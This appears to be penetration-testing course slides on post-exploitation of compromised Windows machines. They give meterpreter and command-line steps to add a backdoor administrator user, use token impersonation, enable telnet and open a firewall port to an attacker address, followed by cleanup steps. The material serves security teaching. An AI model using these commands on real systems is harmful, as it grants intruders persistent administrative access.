Module 36
(Expanding Your Control of Windows Victims)

- At the end of this Module, you'll know how to add, delete, activate, and inactivate windows users from the command line. You'll know how to create local groups and add and remove users from them. You'll also know how to start, configure, and stop services and how to open and close firewall port connections for them.
Make Victims Work For You

• Once you've compromised a victim, you should make it work for you.

• If the machine is easily accessible to you that's good. You may want to create or manipulate users and local groups.

• Well-configured victim machines will be running few services. You need to get them to start services up for you to ease your task.
Users are Good. Add Them

- In a meterpreter session, you can execute the command `shell` to interact with the Windows command prompt.
- See what users exist:
  ```
  net user
  ```
- Use the `net` command to add users:
  ```
  net user [username] [password] /add
  net user hax0r P@$$w0rd /add
  ```
- Make an inactive user active
  ```
  net user guest /active:yes
  ```
  or inactive
  ```
  net user Administrator /active no
  ```
Groups are Good Use Them

- See what local groups are available
  ```
  net LocalGroup
  (If this fails to work, see the next page.)
  ```
- The TelnetClients group tells who can use telnet
  ```
  net LocalGroup TelnetClients /add
  net LocalGroup TelnetClients hax0r
  /add
  ```
- Other groups can be important too
  ```
  net LocalGroup Administrators hax0r
  /add
  ```
If `net localgroup Doesn't Work...

• Your meterpreter may be running as NT AUTHORITY\SYSTEM. Check by executing `getuid`.

• If running `net localgroup` yields a 1312 error do this in the meterpreter:
  
  `use incognito`
  `impersonate_token "NT AUTHORITY\NETWORK SERVICE"`

• Then run a shell and `net localgroup` should work for you.
Services that Might Be Useful

- Telnet
- SSH
- VNC
- Remote Desktop
How Do You Start/Stop a Service?

- For greatest control, use sc.exe (Service Control?)
- Support comprehensive control of services
  - Start
  - Stop
  - Query
  - Configure
How to Enable Telnet Service

- See if it's already running
  
  `sc query tlntsvr`

- Configure telnet to start on demand
  
  `sc config tlntsvr start= demand`

- Start the service up!
  
  `sc start tlntsvr`

- Open a firewall connection
  
  `netsh firewall add portopening protocol = TCP
  port = 23 name = telnet mode = enable
  scope = custom
  addresses = [AttackerIPAddress]`
When You Are Through, Clean Up!

- Any changes you make to a system break the security model of your client. This may introduce vulnerabilities that can be exploited by other attackers.

- Before completing your penetration test:
  - If you start any services, stop them
  - If you open any firewall ports, close them
  - If you create any files, remove them.
  - If you add any groups delete them
  - If you add any users delete them
Clean Up For Our Example

sc tlntsvr stop

netsh firewall delete portopening
protocol = TCP port = 23

net LocalGroup TelnetClients /del

net user hax0r /del